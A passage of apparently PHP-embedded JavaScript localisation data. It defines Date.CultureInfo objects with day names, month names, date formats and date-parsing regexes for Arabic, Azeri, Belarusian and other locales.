المغربية)",dayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],abbreviatedDayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],shortestDayNames:["أ","ا","ث","أ","خ","ج","س"],firstLetterDayNames:["أ","ا","ث","أ","خ","ج","س"],monthNames:["يناير","فبراير","مارس","ابريل","ماي","يونيو","يوليوز","غشت","شتنبر","اكتوبر","نونبر","دجنبر"],abbreviatedMonthNames:["يناير","فبراير","مارس","ابريل","ماي","يونيو","يوليوز","غشت","شتنبر","اكتوبر","نونبر","دجنبر"],amDesignator:"ص",pmDesignator:"م",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd-MM-yyyy",longDate:"dd MMMM, yyyy",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"dd MMMM, yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^يناير/i,feb:/^فبراير/i,mar:/^مارس/i,apr:/^ابريل/i,may:/^ماي/i,jun:/^يونيو/i,jul:/^يوليوز/i,aug:/^غشت/i,sep:/^شتنبر/i,oct:/^اكتوبر/i,nov:/^نونبر/i,dec:/^دجنبر/i,sun:/^الاحد/i,mon:/^ا(1)?/i,tue:/^الثلاثاء/i,wed:/^الاربعاء/i,thu:/^الخميس/i,fri:/^الجمعة/i,sat:/^السبت/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'ar-OM' => 'Date.CultureInfo={name:"ar-OM",englishName:"Arabic (Oman)",nativeName:"العربية (عمان)",dayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],abbreviatedDayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],shortestDayNames:["أ","ا","ث","أ","خ","ج","س"],firstLetterDayNames:["أ","ا","ث","أ","خ","ج","س"],monthNames:["يناير","فبراير","مارس","ابريل","مايو","يونيو","يوليو","اغسطس","سبتمبر","اكتوبر","نوفمبر","ديسمبر"],abbreviatedMonthNames:["يناير","فبراير","مارس","ابريل","مايو","يونيو","يوليو","اغسطس","سبتمبر","اكتوبر","نوفمبر","ديسمبر"],amDesignator:"ص",pmDesignator:"م",firstDayOfWeek:6,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dd MMMM, yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dd MMMM, yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^يناير/i,feb:/^فبراير/i,mar:/^مارس/i,apr:/^ابريل/i,may:/^مايو/i,jun:/^يونيو/i,jul:/^يوليو/i,aug:/^اغسطس/i,sep:/^سبتمبر/i,oct:/^اكتوبر/i,nov:/^نوفمبر/i,dec:/^ديسمبر/i,sun:/^الاحد/i,mon:/^ا(1)?/i,tue:/^الثلاثاء/i,wed:/^الاربعاء/i,thu:/^الخميس/i,fri:/^الجمعة/i,sat:/^السبت/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'ar-QA' => 'Date.CultureInfo={name:"ar-QA",englishName:"Arabic (Qatar)",nativeName:"العربية (قطر)",dayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],abbreviatedDayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],shortestDayNames:["أ","ا","ث","أ","خ","ج","س"],firstLetterDayNames:["أ","ا","ث","أ","خ","ج","س"],monthNames:["يناير","فبراير","مارس","ابريل","مايو","يونيو","يوليو","اغسطس","سبتمبر","اكتوبر","نوفمبر","ديسمبر"],abbreviatedMonthNames:["يناير","فبراير","مارس","ابريل","مايو","يونيو","يوليو","اغسطس","سبتمبر","اكتوبر","نوفمبر","ديسمبر"],amDesignator:"ص",pmDesignator:"م",firstDayOfWeek:6,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dd MMMM, yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dd MMMM, yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^يناير/i,feb:/^فبراير/i,mar:/^مارس/i,apr:/^ابريل/i,may:/^مايو/i,jun:/^يونيو/i,jul:/^يوليو/i,aug:/^اغسطس/i,sep:/^سبتمبر/i,oct:/^اكتوبر/i,nov:/^نوفمبر/i,dec:/^ديسمبر/i,sun:/^الاحد/i,mon:/^ا(1)?/i,tue:/^الثلاثاء/i,wed:/^الاربعاء/i,thu:/^الخميس/i,fri:/^الجمعة/i,sat:/^السبت/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'ar-SA' => 'Date.CultureInfo={name:"ar-SA",englishName:"Arabic (Saudi Arabia)",nativeName:"العربية (المملكة العربية السعودية)",dayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],abbreviatedDayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],shortestDayNames:["أ","ا","ث","أ","خ","ج","س"],firstLetterDayNames:["أ","ا","ث","أ","خ","ج","س"],monthNames:["محرم","صفر","ربيع الأول","ربيع الثاني","جمادى الأولى","جمادى الثانية","رجب","شعبان","رمضان","شوال","ذو القعدة","ذو الحجة"],abbreviatedMonthNames:["محرم","صفر","ربيع الاول","ربيع الثاني","جمادى الاولى","جمادى الثانية","رجب","شعبان","رمضان","شوال","ذو القعدة","ذو الحجة"],amDesignator:"ص",pmDesignator:"م",firstDayOfWeek:6,twoDigitYearMax:1451,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yy",longDate:"dd/MMMM/yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dd/MMMM/yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^محرم/i,feb:/^صفر/i,mar:/^ربيع الأول/i,apr:/^ربيع الثاني/i,may:/^جمادى الأولى/i,jun:/^جمادى الثانية/i,jul:/^رجب/i,aug:/^شعبان/i,sep:/^رمضان/i,oct:/^شوال/i,nov:/^ذو القعدة/i,dec:/^ذو الحجة/i,sun:/^الاحد/i,mon:/^ا(1)?/i,tue:/^الثلاثاء/i,wed:/^الاربعاء/i,thu:/^الخميس/i,fri:/^الجمعة/i,sat:/^السبت/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'ar-SY' => 'Date.CultureInfo={name:"ar-SY",englishName:"Arabic (Syria)",nativeName:"العربية (سوريا)",dayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],abbreviatedDayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],shortestDayNames:["أ","ا","ث","أ","خ","ج","س"],firstLetterDayNames:["أ","ا","ث","أ","خ","ج","س"],monthNames:["كانون الثاني","شباط","آذار","نيسان","أيار","حزيران","تموز","آب","أيلول","تشرين الأول","تشرين الثاني","كانون الأول"],abbreviatedMonthNames:["كانون الثاني","شباط","آذار","نيسان","أيار","حزيران","تموز","آب","أيلول","تشرين الأول","تشرين الثاني","كانون الأول"],amDesignator:"ص",pmDesignator:"م",firstDayOfWeek:6,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dd MMMM, yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dd MMMM, yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^كانون الثاني/i,feb:/^شباط/i,mar:/^آذار/i,apr:/^نيسان/i,may:/^أيار/i,jun:/^حزيران/i,jul:/^تموز/i,aug:/^آب/i,sep:/^أيلول/i,oct:/^تشرين الأول/i,nov:/^تشرين الثاني/i,dec:/^كانون الأول/i,sun:/^الاحد/i,mon:/^ا(1)?/i,tue:/^الثلاثاء/i,wed:/^الاربعاء/i,thu:/^الخميس/i,fri:/^الجمعة/i,sat:/^السبت/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'ar-TN' => 'Date.CultureInfo={name:"ar-TN",englishName:"Arabic (Tunisia)",nativeName:"العربية (تونس)",dayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],abbreviatedDayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],shortestDayNames:["أ","ا","ث","أ","خ","ج","س"],firstLetterDayNames:["أ","ا","ث","أ","خ","ج","س"],monthNames:["جانفي","فيفري","مارس","افريل","ماي","جوان","جويلية","اوت","سبتمبر","اكتوبر","نوفمبر","ديسمبر"],abbreviatedMonthNames:["جانفي","فيفري","مارس","افريل","ماي","جوان","جويلية","اوت","سبتمبر","اكتوبر","نوفمبر","ديسمبر"],amDesignator:"ص",pmDesignator:"م",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd-MM-yyyy",longDate:"dd MMMM, yyyy",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"dd MMMM, yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^جانفي/i,feb:/^فيفري/i,mar:/^مارس/i,apr:/^افريل/i,may:/^ماي/i,jun:/^جوان/i,jul:/^جويلية/i,aug:/^اوت/i,sep:/^سبتمبر/i,oct:/^اكتوبر/i,nov:/^نوفمبر/i,dec:/^ديسمبر/i,sun:/^الاحد/i,mon:/^ا(1)?/i,tue:/^الثلاثاء/i,wed:/^الاربعاء/i,thu:/^الخميس/i,fri:/^الجمعة/i,sat:/^السبت/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'ar-YE' => 'Date.CultureInfo={name:"ar-YE",englishName:"Arabic (Yemen)",nativeName:"العربية (اليمن)",dayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],abbreviatedDayNames:["الاحد","الاثنين","الثلاثاء","الاربعاء","الخميس","الجمعة","السبت"],shortestDayNames:["أ","ا","ث","أ","خ","ج","س"],firstLetterDayNames:["أ","ا","ث","أ","خ","ج","س"],monthNames:["يناير","فبراير","مارس","ابريل","مايو","يونيو","يوليو","اغسطس","سبتمبر","اكتوبر","نوفمبر","ديسمبر"],abbreviatedMonthNames:["يناير","فبراير","مارس","ابريل","مايو","يونيو","يوليو","اغسطس","سبتمبر","اكتوبر","نوفمبر","ديسمبر"],amDesignator:"ص",pmDesignator:"م",firstDayOfWeek:6,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dd MMMM, yyyy",shortTime:"hh:mm tt",longTime:"hh:mm:ss tt",fullDateTime:"dd MMMM, yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^يناير/i,feb:/^فبراير/i,mar:/^مارس/i,apr:/^ابريل/i,may:/^مايو/i,jun:/^يونيو/i,jul:/^يوليو/i,aug:/^اغسطس/i,sep:/^سبتمبر/i,oct:/^اكتوبر/i,nov:/^نوفمبر/i,dec:/^ديسمبر/i,sun:/^الاحد/i,mon:/^ا(1)?/i,tue:/^الثلاثاء/i,wed:/^الاربعاء/i,thu:/^الخميس/i,fri:/^الجمعة/i,sat:/^السبت/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'az-Cyrl-AZ' => 'Date.CultureInfo={name:"az-Cyrl-AZ",englishName:"Azeri (Cyrillic, Azerbaijan)",nativeName:"Азәрбајҹан (Азәрбајҹан)",dayNames:["Базар","Базар ертәси","Чәршәнбә ахшамы","Чәршәнбә","Ҹүмә ахшамы","Ҹүмә","Шәнбә"],abbreviatedDayNames:["Б","Бе","Ча","Ч","Ҹа","Ҹ","Ш"],shortestDayNames:["Б","Бе","Ча","Ч","Ҹа","Ҹ","Ш"],firstLetterDayNames:["Б","Б","Ч","Ч","Ҹ","Ҹ","Ш"],monthNames:["Јанвар","Феврал","Март","Апрел","Мај","Ијун","Ијул","Август","Сентјабр","Октјабр","Нојабр","Декабр"],abbreviatedMonthNames:["Јан","Фев","Мар","Апр","Мај","Ијун","Ијул","Авг","Сен","Окт","Ноя","Дек"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd.MM.yyyy",longDate:"d MMMM yyyy",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"d MMMM yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^јан(вар)?/i,feb:/^фев(рал)?/i,mar:/^мар(т)?/i,apr:/^апр(ел)?/i,may:/^мај/i,jun:/^ијун/i,jul:/^ијул/i,aug:/^авг(уст)?/i,sep:/^сен(тјабр)?/i,oct:/^окт(јабр)?/i,nov:/^нојабр/i,dec:/^дек(абр)?/i,sun:/^базар/i,mon:/^базар ертәси/i,tue:/^чәршәнбә ахшамы/i,wed:/^чәршәнбә/i,thu:/^ҹүмә ахшамы/i,fri:/^ҹүмә/i,sat:/^шәнбә/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'az-Latn-AZ' => 'Date.CultureInfo={name:"az-Latn-AZ",englishName:"Azeri (Latin, Azerbaijan)",nativeName:"Azərbaycan­ılı (Azərbaycanca)",dayNames:["Bazar","Bazar ertəsi","Çərşənbə axşamı","Çərşənbə","Cümə axşamı","Cümə","Şənbə"],abbreviatedDayNames:["B","Be","Ça","Ç","Ca","C","Ş"],shortestDayNames:["B","Be","Ça","Ç","Ca","C","Ş"],firstLetterDayNames:["B","B","Ç","Ç","C","C","Ş"],monthNames:["Yanvar","Fevral","Mart","Aprel","May","İyun","İyul","Avgust","Sentyabr","Oktyabr","Noyabr","Dekabr"],abbreviatedMonthNames:["Yan","Fev","Mar","Apr","May","İyun","İyul","Avg","Sen","Okt","Noy","Dek"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd.MM.yyyy",longDate:"d MMMM yyyy",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"d MMMM yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^yan(var)?/i,feb:/^fev(ral)?/i,mar:/^mar(t)?/i,apr:/^apr(el)?/i,may:/^may/i,jun:/^iyun/i,jul:/^iyul/i,aug:/^avg(ust)?/i,sep:/^sen(tyabr)?/i,oct:/^okt(yabr)?/i,nov:/^noy(abr)?/i,dec:/^dek(abr)?/i,sun:/^bazar/i,mon:/^bazar ertəsi/i,tue:/^çərşənbə axşamı/i,wed:/^çərşənbə/i,thu:/^cümə axşamı/i,fri:/^cümə/i,sat:/^şənbə/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'be-BY' => 'Date.CultureInfo={name:"be-BY",englishName:"Belarusian (Belarus)",nativeName:"Беларускі (Беларусь)",dayNames:["нядзеля","панядзелак","аўторак","серада","чацвер","пятніца","субота"],abbreviatedDayNames:["нд","пн","аў","ср","чц","пт","сб"],shortestDayNames:["нд","пн","аў","ср","чц","пт","сб"],firstLetterDayNames:["н","п","а","с","ч","п","с"],monthNames:["Студзень","Люты","Сакавік","Красавік","Май","Чэрвень","Ліпень","Жнівень","Верасень","Кастрычнік","Лістапад","Снежань"],abbreviatedMonthNames:["Сту","Лют","Сак","Кра","Май","Чэр","Ліп","Жні","Вер","Кас","Ліс","Сне"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd.MM.yyyy",longDate:"d MMMM yyyy",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"d MMMM yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^сту(дзень)?/i,feb:/^лют(ы)?/i,mar:/^сак(авік)?/i,apr:/^кра(савік)?/i,may:/^май/i,jun:/^чэр(вень)?/i,jul:/^ліп(ень)?/i,aug:/^жні(вень)?/i,sep:/^вер(асень)?/i,oct:/^кас(трычнік)?/i,nov:/^ліс(тапад)?/i,dec:/^сне(жань)?/i,sun:/^нядзеля/i,mon:/^панядзелак/i,tue:/^аўторак/i,wed:/^серада/i,thu:/^чацвер/i,fri:/^пятніца/i,sat:/^субота/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'bg-BG' => 'Date.CultureInfo={name:"bg-BG",englishName:"Bulgarian (Bulgaria)",nativeName:"български 